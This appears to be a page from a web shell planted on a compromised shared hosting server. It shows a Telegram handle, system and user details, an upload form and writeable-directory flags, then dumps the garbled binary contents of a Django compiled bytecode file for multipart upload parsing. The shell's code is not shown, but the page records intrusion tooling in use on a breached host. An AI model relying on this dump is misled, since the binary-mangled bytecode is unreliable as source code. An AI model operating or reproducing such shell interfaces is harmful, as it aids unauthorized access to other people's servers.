https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/http/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/http/__pycache__/multipartparser.cpython-310.pyc
o

��Ihrm�@s<dZddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZmZm
Z
mZddlmZmZmZddlmZddlmZd	ZGd
d�de�ZGdd
�d
e�ZdZdZdZeeeg�ZGdd�d�Z Gdd�d�Z!Gdd�d�Z"Gdd�d�Z#Gdd�d�Z$dd�Z%dd�Z&Gdd �d �Z'd!d"�Z(d#d$�Z)dS)%z�
Multi-part parsing for file uploads.

Exposes one class, ``MultiPartParser``, which feeds chunks of uploaded data to
file upload handlers for processing.
�N)�unquote)�settings)�RequestDataTooBig�SuspiciousMultipartForm�TooManyFieldsSent�TooManyFilesSent)�SkipFile�StopFutureHandlers�
StopUpload)�MultiValueDict)�	force_str)�MultiPartParser�MultiPartParserError�InputStreamExhaustedc@seZdZdS)rN)�__name__�
__module__�__qualname__�rr�=/usr/lib/python3/dist-packages/django/http/multipartparser.pyrsrc@seZdZdZdS)rz5
    No more reads are allowed from this device.
    N)rrr�__doc__rrrrr sr�raw�file�fieldc@sFeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�ZeZ	d
d�Z
dS)r
z�
    A rfc2388 multipart/form-data parser.

    ``MultiValueDict.parse()`` reads the input stream in ``chunk_size`` chunks
    and returns a tuple of ``(MultiValueDict(POST), MultiValueDict(FILES))``.
    Nc	Cs$|�dd�}|�d�std|��zt|�d��\}}Wnty+tdt|���w|�d�}|r8t�|�s@tdt|���z
t	|�d	d
��}	Wn
t
tfyWd
}	Ynw|	d
krbtd|	��t|t
�rl|�d�}||_||_dd
�|D�}
tdg|
�|_||_|p�tj|_|	|_||_dS)a�
        Initialize the MultiPartParser object.

        :META:
            The standard ``META`` dictionary in Django request objects.
        :input_data:
            The raw post data, as a file-like object.
        :upload_handlers:
            A list of UploadHandler instances that perform operations on the
            uploaded data.
        :encoding:
            The encoding with which to treat the incoming data.
        �CONTENT_TYPE�z
multipart/zInvalid Content-Type: %s�asciiz/Invalid non-ASCII Content-Type in multipart: %s�boundaryz!Invalid boundary in multipart: %s�CONTENT_LENGTHrzInvalid content length: %rcSsg|]}|jr|j�qSr)�
chunk_size)�.0�xrrr�
<listcomp>bsz,MultiPartParser.__init__.<locals>.<listcomp>i���N)�get�
startswithr�parse_header�encode�UnicodeEncodeErrorr�cgi�valid_boundary�int�
ValueError�	TypeError�
isinstance�str�	_boundary�_input_data�min�_chunk_size�_metar�DEFAULT_CHARSET�	_encoding�_content_length�_upload_handlers)�self�META�
input_data�upload_handlers�encoding�content_type�ctypes�optsr�content_length�possible_sizesrrr�__init__4s8
�
�


zMultiPartParser.__init__cCsLz|��WSty%t|d�r$|j��D]
\}}|D]}|��qq�w)N�_files)�_parse�	Exception�hasattrrB�lists�close)r7�_�files�fileobjrrr�parsejs


��zMultiPartParser.parsec#Csddlm}|j}|j}|jdkr||jd�t�fS|D]}|�|j|j|j|j	|�}|dur9|d|dfSq|dd�|_
t�|_tt
|j|j��}d}dgt|�}d}	d}
d}d}d}
�z�t||j	�D�]�\}}}|rz|�||�d}d}
|tvr�tjdur�|
d7}
tjd|
kr�td	��z|d
d}|d��}Wntttfy�Yqhw|�d�}|dur�|d��}t||d
d�}|tk�r'tjdur�tj|	}|dkr�|j|d�}|	t|�7}	zt� |�}Wnt!j"y�|}Yn
w|j|d�}|	t|�7}	|	t|�d7}	tjdu�r|	tjk�rt#d��|j
�$|t||d
d��qh|t%k�r?|d7}tj&du�r@|tj&k�r@t'd��|�d�}|�rTt||d
d�}|�(|�}|�sXqh|�ddif�\}}|��}|�d�}zt)|�d�d�}Wntt*t+f�y�d}Ynwdgt|�}d}
z�|D]}z
|�,||||||�W�q�t-�y�Ynw|D]x}|dk�rd�.|�/��}t|�d}|dk�r�|�d|�}|�s�n|d�.|�/��7}t|�d}|dk�s�zt� |�}Wnt0�y}zt1d�|�d}~wwt2|�D] \} }t|�}!|�3||| �}|| |!7<|du�r$n�q�q�Wnt4�y;|�5�t6|�Yqhw|}qht6|�qhWn t7�ye}"z|�5�|"j8�s[t6|j�WYd}"~"nd}"~"ww|
�ss|D]}|�9��qkt6|j�t:dd�|D��d|j
_;|j
|jfS)z�
        Parse the POST data and break it into a FILES MultiValueDict and a POST
        MultiValueDict.

        Return a tuple containing the POST and FILES dictionary, respectively.
        r)�	QueryDict�r;N�T)�mutable�zRThe number of GET/POST parameters exceeded settings.DATA_UPLOAD_MAX_NUMBER_FIELDS.�content-disposition�namezcontent-transfer-encoding�replace��errors�base64)�sizez;Request body exceeded settings.DATA_UPLOAD_MAX_MEMORY_SIZE.zCThe number of files exceeded settings.DATA_UPLOAD_MAX_NUMBER_FILES.�filenamezcontent-typer�charsetzcontent-lengthF��zCould not decode base64 data.css�|]}|��VqdS�N)�upload_complete)r�handlerrrr�	<genexpr>Ns�z)MultiPartParser._parse.<locals>.<genexpr>)<�django.httprLr4r6r5r�handle_raw_inputr/r2r.�_postrB�
LazyStream�	ChunkIterr1�len�Parser�handle_file_complete�FIELD_TYPESr�DATA_UPLOAD_MAX_NUMBER_FIELDSr�strip�KeyError�
IndexError�AttributeErrorr"r�FIELD�DATA_UPLOAD_MAX_MEMORY_SIZE�readrV�	b64decode�binascii�Errorr�
appendlist�FILE�DATA_UPLOAD_MAX_NUMBER_FILESr�sanitize_file_namer)r+r*�new_filer	�join�splitrDr�	enumerate�receive_data_chunkr�_close_files�exhaustr
�connection_reset�upload_interrupted�any�_mutable)#r7rLr;�handlersr^�result�stream�old_field_name�counters�num_bytes_read�
num_post_keys�	num_files�	read_size�
uploaded_file�	item_type�	meta_data�field_stream�disposition�
field_name�transfer_encoding�raw_data�data�	file_namer<�content_type_extrarYr?�chunk�stripped_chunk�	remaining�
over_chunk�exc�i�chunk_length�errrrCzs(
��
��



�
�


�
��


�
��
����
��
��
zMultiPartParser._parsecCsJt|j�D]\}}|�||�}|r"|j�t||jdd�|�dSqdS)zT
        Handle all the signaling that takes place when a file is complete.
        rSrTN)r{r6�
file_completerBrtrr4)r7r�r�r�r^�file_objrrrrgRs��z$MultiPartParser.handle_file_completecCs6t�|�}|�d�d}|�d�d}|dvrdS|S)aT
        Sanitize the filename of an upload.

        Remove all possible path separators, even though that might remove more
        than actually required by the target system. Filenames that could
        potentially cause problems (current/parent dir) are also discarded.

        It should be noted that this function could still return a "filepath"
        like "C:some_file.txt" which is handled later on by the storage layer.
        So while this function does sanitize filenames to some extent, the
        resulting filename should still be considered as untrusted user input.
        �/����\>�..r�.N)�html�unescape�rsplit)r7r�rrrrw]s

z"MultiPartParser.sanitize_file_namecCs$|jD]}t|d�r|j��qdS)Nr)r6rErrG)r7r^rrrr}ts



��zMultiPartParser._close_filesr\)rrrrrArKrCrgrw�IE_sanitizer}rrrrr
-s
6Yr
c@sTeZdZdZddd�Zdd�Zddd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)rca!
    The LazyStream wrapper allows one to get and "unget" bytes from a stream.

    Given a producer object (an iterator that yields bytestrings), the
    LazyStream object will support iteration, reading, and keeping a "look-back"
    variable in case you need to "unget" some bytes.
    NcCs.||_d|_d|_||_d|_||_g|_dS)z�
        Every LazyStream must have a producer when instantiated.

        A producer is an iterable that returns a string each time it
        is called.
        FrZrN)�	_producer�_empty�	_leftover�length�position�
_remaining�_unget_history)r7�producerr�rrrrA�s
zLazyStream.__init__cCs|jSr\)r��r7rrr�tell�szLazyStream.tellcs��fdd�}d�|��S)Nc3s���dur�jn�}|durd���VdS|dkrQ|dks"Jd��zt��}Wn
ty2YdSw|d|�}��||d��|t|�8}|V|dksdSdS)NrZrz0remaining bytes to read should never go negative)r�ry�next�
StopIteration�ungetre)r�r��emitting�r7rWrr�parts�s"���zLazyStream.read.<locals>.partsrZ)ry)r7rWr�rr�rrp�szLazyStream.readcCs:|jr
|j}d|_nt|j�}g|_|jt|�7_|S)z�
        Used when the exact number of bytes to read is unimportant.

        Return whatever chunk is conveniently returned from the iterator.
        Useful to avoid unnecessary bookkeeping if performance is an issue.
        rZ)r�r�r�r�r�re)r7�outputrrr�__next__�s
zLazyStream.__next__cCs
g|_dS)z�
        Used to invalidate/disable this lazy stream.

        Replace the producer with an empty list. Any leftover bytes that have
        already been read will still be reported upon read() and/or next().
        N)r�r�rrrrG�s
zLazyStream.closecC�|Sr\rr�rrr�__iter__��zLazyStream.__iter__cCs8|sdS|�t|��|jt|�8_||j|_dS)z�
        Place bytes back onto the front of the lazy stream.

        Future calls to read() will return those bytes first. The
        stream position and thus tell() will be rewound.
        N)�_update_unget_historyrer�r�)r7�bytesrrrr��s
zLazyStream.ungetcsB�g|jdd�|_t�fdd�|jD��}|dkrtd��dS)aZ
        Update the unget history as a sanity check to see if we've pushed
        back the same number of bytes in one chunk. If we keep ungetting the
        same number of bytes many times (here, 50), we're mostly likely in an
        infinite loop of some sort. This is usually caused by a
        maliciously-malformed MIME request.
        N�1csg|]}|�kr|�qSrr)r�current_number��	num_bytesrrr!�s
�z4LazyStream._update_unget_history.<locals>.<listcomp>�(z�The multipart parser got stuck, which shouldn't happen with normal uploaded files. Check for malicious upload activity; if there is none, report this to the Django developers.)r�rer)r7r��number_equalrr�rr��s���z LazyStream._update_unget_historyr\)rrrrrAr�rpr�rGr�r�r�rrrrrc}s

	
rcc@s*eZdZdZd
dd�Zdd�Zdd�Zd	S)rdz�
    An iterable that will yield chunks of data. Given a file-like object as the
    constructor, yield chunks of read operations from that object.
    �cC�||_||_dSr\)�flor)r7r�rrrrrA��
zChunkIter.__init__cCs6z	|j�|j�}Wn
tyt��w|r|St��r\)r�rprrr�)r7r�rrrr��s�zChunkIter.__next__cCr�r\rr�rrrr�r�zChunkIter.__iter__N)r�)rrrrrAr�r�rrrrrd�s


rdc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�InterBoundaryIterz7
    A Producer that will iterate over boundaries.
    cCr�r\)�_streamr.�r7r�rrrrrAr�zInterBoundaryIter.__init__cCr�r\rr�rrrr�r�zInterBoundaryIter.__iter__cCs*z
tt|j|j��WStyt��wr\)rc�BoundaryIterr�r.rr�r�rrrr�s
�zInterBoundaryIter.__next__N)rrrrrAr�r�rrrrr�s
r�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)r�ae
    A Producer that is sensitive to boundaries.

    Will happily yield bytes until a boundary is found. Will yield the bytes
    before the boundary, throw away the boundary bytes themselves, and push the
    post-boundary bytes back on the stream.

    The future calls to next() after locating the boundary will raise a
    StopIteration exception.
    cCsF||_||_d|_t|�d|_|j�d�}|st��|j�|�dS)NF�rN)r�r.�_donere�	_rollbackrprr�)r7r�r�unused_charrrrrA%szBoundaryIter.__init__cCr�r\rr�rrrr�4r�zBoundaryIter.__iter__c
Cs�|jrt��|j}|j}d}g}|D]}|t|�7}|�|�||kr%n|s)nqd|_|s2t��d�|�}|�|�}|rT|\}}	|�||	d��d|_|d|�S|d|�s`d|_|S|�||d��|d|�S)NrTrZ)	r�r�r�r�re�appendry�_find_boundaryr�)
r7r��rollback�
bytes_read�chunksr�r�r�endr�rrrr�7s:
�

zBoundaryIter.__next__cCs�|�|j�}|dkrdS|}|t|j�}td|d�}|||d�dkr*|d8}td|d�}|||d�dkr?|d8}||fS)a
        Find a multipart boundary in data.

        Should no boundary exist in the data, return None. Otherwise, return
        a tuple containing the indices of the following:
         * the end of current encapsulation
         * the start of the next encapsulation
        rNrN�
�
)�findr.re�max)r7r��indexr�r��lastrrrr�`s	zBoundaryIter._find_boundaryN)rrrrrAr�r�r�rrrrr�s)r�cCs<zt|�}Wntyt|d�}Ynwtj|dd�dS)zExhaust an iterator or stream.i@r)�maxlenN)�iterr+rd�collections�deque)�stream_or_iterable�iteratorrrrr~ys�r~c	Cs�|�|�}|�d�}dd�}|dkr|�|�ti|fS|d|�}|�||dd��t}i}|�d�D])}z
||�\}	\}
}Wn	tyKYq6w|	dkrYt}|�d	�rYt}|
|f||	<q6|tkri|�|�|||fS)
zH
    Parse one and exactly one stream that encapsulates a boundary.
    s

cSsHt|�\}}z
|�dd�\}}Wn
tytd|��w|||ffS)N�:rNzInvalid header: %r)r$rzr*)�line�main_value_pair�paramsrR�valuerrr�
_parse_header�s�z,parse_boundary_stream.<locals>._parse_headerr�Nr[s
rQrX)	rpr�r��RAWrzr*rnr"ru)r��max_header_sizer��
header_endr��header�TYPE�outdictr�rRr�r�rrr�parse_boundary_stream�s0



�


r�c@seZdZdd�Zdd�ZdS)rfcCs||_d||_dS)Ns--)r��
_separatorr�rrrrA�szParser.__init__ccs*�t|j|j�}|D]}t|d�Vq
dS)Ni)r�r�r�r�)r7�boundarystream�
sub_streamrrrr��s
��zParser.__iter__N)rrrrAr�rrrrrf�srfcCs&td|�}|�d����d�}i}|D]z}|�d�}|dkr�d}|d|������d�}|�d�rB|dd�}|�d	�d
krBd}||dd���}t|�d
krv|dd�|dd�krdd
krvnn|dd�}|�	dd��	dd
�}|r�|�
d	�\}	}
}t|��|	��d�}|||<q||fS)z�
    Parse the header into a key-value.

    Input (line): bytes, output: str for key/name, bytes for values which
    will be decoded later.
    �;rr�=FN�*r��'rPTrN�"s\\�\s\"rM)�_parse_header_params�pop�lower�decoder�rj�endswith�countrerSrzr)r��plist�key�pdict�pr��has_encodingrRr�r;�langrrrr$�s,

4�r$cCs�g}|dd�dkrZ|dd�}|�d�}|dkr7|�dd|�dr7|�d|d�}|dkr7|�dd|�ds"|dkr?t|�}|d|�}|�|���||d�}|dd�dks
|S)NrNr�rr�rP)r�rrer�rj)�srr��frrrr��s
��
r�)*rrVrrr'r�r��urllib.parser�django.confr�django.core.exceptionsrrrr�django.core.files.uploadhandlerrr	r
�django.utils.datastructuresr�django.utils.encodingr�__all__rDrrr�rurn�	frozensetrhr
rcrdr�r�r~r�rfr$r�rrrr�<module>s>Rs`	; 

https://t.me/RX1948 - 2025